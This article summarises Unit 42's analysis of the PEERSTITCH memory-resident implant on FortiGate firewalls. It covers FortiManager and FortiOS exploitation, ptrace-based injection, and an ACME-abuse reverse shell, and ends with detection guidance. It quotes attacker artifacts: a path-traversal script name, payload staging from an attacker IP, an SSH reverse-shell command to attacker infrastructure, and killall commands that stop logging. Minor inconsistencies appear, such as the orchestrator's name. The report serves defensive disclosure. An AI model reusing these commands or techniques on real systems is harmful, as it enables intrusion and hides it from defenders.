Unit 42 traces PEERSTITCH malware to FortiManager and FortiOS flaws

Attackers exploited CVE-2024-47575 against a centralized FortiManager appliance to gain initial access to a telecommunications managed service provider in September 2024. The vulnerability, known as FortiJump, carries a critical CVSS score of 9.8 and allows an unauthenticated remote attacker to execute arbitrary commands via crafted requests to the FMG-Access management channel on TCP port 541. The attackers registered a rogue Virtual FortiGate appliance named localhost with serial number FMG-VMTM23017412 to the central FortiManager instance from external attacker infrastructure, then generated and exfiltrated a configuration archive within minutes. The intrusion is tracked as cluster CL-STA-0954, also known as UNC5820, with post-exploitation activity overlapping suspected nation-state tradecraft, though no specific country has been attributed.

The exfiltrated configuration archive, named .tm in the FortiManager file system, contained comprehensive data about the entire managed environment. It included the FortiManager’s own identifying details, management relationships with every enrolled device, central management SQLite databases global.db and revinfo.db, an inventory of more than 500 FortiGate serial numbers alongside their public IP addresses, internal network topology maps, routing tables, and interface configurations. The archive also contained encrypted administrative, local, and SSL/VPN credentials stored as reversible ciphertext, which Unit 42 confirmed were recoverable through brute-forcing, along with encoded cryptographic trust material including public certificates and private keys for FGFM management relationships. Unit 42’s investigation examined only the provider’s own environment, not the downstream client networks, so the exposure described involves configuration and credential material rather than confirmed intrusion into client networks.

In September 2024, after a lengthy period inside the network, threat actors leveraged the breached FortiManager to push unauthorized sniffing settings to numerous downstream FortiGate firewalls, focusing on unencrypted HTTP and eleven distinct TCP services. Using recovered credentials, the attackers established unauthorized FortiGate SSL/VPN sessions from staging infrastructure at 23.240.77[.]233 and 47.18.167[.]159, gaining authenticated access into internal network-management segments. The attackers then exploited CVE-2025-61624, a path traversal flaw in the FortiOS auto-script engine with a CVSS score of 5.4, to escalate from administrative access to root on the firewall operating system. FortiOS administrators operate within a restricted management command line with no shell access, while the underlying daemons run as root, which is why the vulnerability was valuable for escalation.

PEERSTITCH is an undocumented 64-bit Linux ARM64 executable written in C and statically linked against glibc, acting as a one-shot process memory patching injector. The implant targets two core FortiOS daemons: /bin/miglogd, the central system and traffic logging daemon, and /bin/iked, the IKE/IPsec VPN service daemon. The attackers used a traversal string named ../../../../setup as an auto-script object to drop the PEERSTITCH initial-stage loader on selected firewalls. The setup script downloaded five files from 23.240.77[.]233:8085 into /data2/template/: pM.js, a self-deleting environment preparation script; a.js and a.wasm, an Emscripten JavaScript runtime and WebAssembly binary; b.js, the deployment orchestrator; and dd/lldprx, the native ARM64 ELF injector.

After an execution delay, the deployment orchestrator ipssem.js launched lldprx with arguments specifying the paths to all staging components, initiating the PEERSTITCH injection sequence. The lldprx injector performs process discovery via /proc/, enumerates memory layout via /proc/<pid>/maps, attaches using ptrace with PTRACE_SEIZE, captures register state via ptrace with PTRACE_GETREGSET, constructs an ARM64 bootstrap stub that mmaps 16,384 bytes of RWX memory, and writes a 1,344-byte injection payload via /proc/<pid>/mem. The injector’s ARM64 bootstrap stub executes an mmap syscall requesting 0x4000 bytes of PROT_READ, PROT_WRITE, and PROT_EXEC memory mapped as private and anonymous. The lldprx injector unlinked its own binary from disk and terminated the staging setup process before exiting.

In September 2024, the PEERSTITCH implant does not write a file to disk, open a listening port, or start outbound connections; it operates by piggybacking on legitimate FortiOS process traffic. It creates a covert, memory-resident inter-process communication bridge between miglogd and iked, writing extracted session tokens directly into the counterpart daemon’s memory via /proc/<pid>/mem. The hook code inspects in-flight data for two specific markers: TCP port 8550 (embedded within traffic data, not a listening port) and IP address 169.254.0.1 (link-local identifier used for pattern matching). When a marker is identified, the hook extracts a session token or identifier of up to 31 bytes into a 16-slot circular ring buffer at offset +0x0F0, then writes it into the counterpart daemon’s memory via /proc/<pid>/mem using a forwarding table at offset +0x400.

When iked processes later VPN sessions with a matching tag, the hook takes an alternate return branch, bypassing default FortiOS security validations. PEERSTITCH applies NOP patches (0xAA0003E0, MOV X0, X0 on ARM64) to three static offsets: base + 0x106F7B8, base + 0x1072E20, and base + 0x109A570, to suppress tamper detection. A 20-byte trampoline is inserted at offset 0x135102C, redirecting normal execution into the allocated read-write-execute memory region. PEERSTITCH does not provide a universal VPN authentication bypass; its effectiveness depends on targeted manipulation of particular sessions within the compromised appliance’s execution environment.

The attackers established a separate command-and-control channel by weaponizing the native Apache mod_md module, which uses the ACME protocol, on FortiGate firewalls. They pushed an auto-script object to create ../../tmp/apache2/conf/md-acme.conf and mapped the DNS-01 ACME challenge to /bin/node, injecting shell commands into the domain name field to execute an SSH-based reverse shell when Apache initiated certificate validation. The injected SSH reverse shell command was kali@23.240.77[.]233:8084:b -F /tmp/upfile/ssh_config -i, connecting to the attacker’s infrastructure on port 8084. The attackers set MDRenewMode to ‘always’ to force continuous malicious ACME renewal challenges, establishing a persistent outbound reverse-shell communication channel.

The account.json state file shows initial registration with the attacker’s ACME server, and the order.json file maps authorization and finalization URLs directly to the attacker’s infrastructure. After completing execution, the PEERSTITCH injector unlinked its own binary from disk, and the attackers overwrote the malicious Apache configuration file with the benign string ‘#0 certs managed by ACME’ to mask the reverse-shell configuration. The attackers altered Apache configuration so certificate-validation activity ran commands through Node.js and repeatedly contacted attacker infrastructure, creating a separate remote control route.

To download complete running configurations from more managed firewalls, the attackers impersonated the FortiManager platform over FGFM on TCP port 541 using an administrative account named FortiGateCloud. The victim organization operated no FortiManager Cloud tenant, and no such FortiGateCloud account was provisioned on the affected devices, confirming the account was created by the attackers. Unit 42 assesses with medium confidence that the attackers impersonated the FortiManager over FGFM either by exploiting CVE-2024-26009 or by reusing exfiltrated trust material, and may have forced termination of the authentic FortiManager’s session using CVE-2024-26008 to assert a management identity over FGFM.

To hinder investigation, the attackers killed the logging and syslog daemons, executing killall -9 miglogd and killall -9 syslogd to halt local and remote syslog generation before running malicious auto-scripts. Using the FortiOS diagnostic command to clear segmentation‑fault logs from early memory‑injection attempts, they also deleted rogue administrator accounts, VPN groups, and auto‑script objects shortly thereafter. Logging telemetry showed intermittent drops on the tunnel management interface during malicious activity, which Unit 42 assesses with medium confidence was deliberately induced to suppress real-time telemetry. The mechanism causing the drops is unconfirmed, but may have been CVE-2024-26008 exploited over TCP port 541, and available logs did not capture the triggering traffic.

They installed packet‑capture rules aimed at unencrypted HTTP and eleven TCP services to steal sensitive data and chart the network’s outer boundaries. In a subsequent phase of reconnaissance, they expanded to perimeter captures of TFTP traffic on UDP port 69 to capture files, communications, firmware, and configuration data; RADIUS and RADIUS-Accounting traffic on UDP ports 1812 and 1813 to sniff network authentication activity; and LDAP traffic on TCP port 389 to intercept Active Directory queries and enumerate the directory.

Fortinet’s Integrity Checker Tool cannot detect PEERSTITCH because it scans files on disk, which the memory-resident implant leaves untouched. The only way to detect PEERSTITCH is by inspecting live process memory for anomalous RWX regions in miglogd and iked or identifying NOP patches at specific offsets. Unit 42 recommends hunting for memory maps of miglogd and iked containing anonymous 16,384-byte RWX regions, NOP patches at documented offsets, cross-process writes to /proc/<pid>/mem, daemon crashlog entries, and auto-script objects with ../../ traversal strings.

Unit 42 recommends treating edge management interfaces with the highest level of zero trust isolation and treating their credentials and certificates as compromised the moment the platform is breached. It also advises checking FortiManager and FortiGate logs for unfamiliar device registrations, unknown administrator accounts, questionable VPN sessions, and auto‑script objects that contain path‑traversal strings like ../. The concentration of trust in centralized management infrastructure means that once attackers compromise it and modify security enforcement processes, a functioning firewall is no longer reliable evidence of protection.

The cryptographic trust material governing the platform’s relationship with every managed device remains valid until rotated, so defenders must treat all credentials, private keys, and certificates from a breached FortiManager as compromised. Patching the FortiManager does not reverse the data theft; stolen cryptographic keys remain valid until trust material on every managed device is individually rotated. In September 2024, one intrusion into a service provider’s management system may expose hundreds of downstream customers, converting a local breach into a supply‑chain security incident.

Google Cloud Mandiant, tracking the group as UNC5820, observed similar FortiManager attacks starting on June 27, 2024, predating the September 2024 intrusion. Fortinet patched CVE-2024-47575, and CISA added it to the Known Exploited Vulnerabilities catalog in October 2024. CISA added CVE-2025-61624 to its Known Exploited Vulnerabilities catalog on October 16, 2026, requiring federal agencies to apply fixes by October 19, 2026. Separately, the FBI and USSS warned that the FortiBleed credential-compromise campaign continues to target internet-facing FortiGate firewalls and SSL VPN gateways, potentially locking organizations out of affected systems.

SOCRadar verified more than 86,644 compromised FortiGate devices across 194 countries for the FortiBleed campaign, which exploits reused or leaked credentials and legacy SHA-256 password storage. Unit 42 states that the discovery of PEERSTITCH demonstrates increasing technical maturity of edge-device malware, achieving sustained persistence while evading traditional monitoring. The attackers demonstrated skill in Fortinet appliance architecture, FortiOS internals, and FortiOS management protocols, with post-exploitation tradecraft overlapping suspected nation-state actor intrusions.

Palo Alto Networks customers are protected through Advanced WildFire, Advanced URL Filtering, Advanced DNS Security, Advanced IP Defense, Next-Generation Firewall with Advanced Threat Prevention, Cortex Xpanse, and Device Security. The Next-Generation Firewall with Advanced Threat Prevention can help block CVE-2024-47575 via Threat Prevention signatures 95788 and 96788. Palo Alto Networks shared these findings with Cyber Threat Alliance members to help rapidly deploy protections and disrupt malicious cyber actors. Unit 42 published SHA-256 hashes for PEERSTITCH components, network indicators for staging and ACME hosts, and a YARA rule to discover PEERSTITCH activity.

CVE-2025-61624 affects FortiOS, FortiPAM, FortiProxy, and FortiSwitchManager with a CVSS score of 5.4, and was patched by Fortinet in Apr. 2026. Other FortiGateCloud misuse vulnerabilities were excluded from scope because the affected firewalls were not enrolled in FortiGate Cloud or FortiCloud SSO.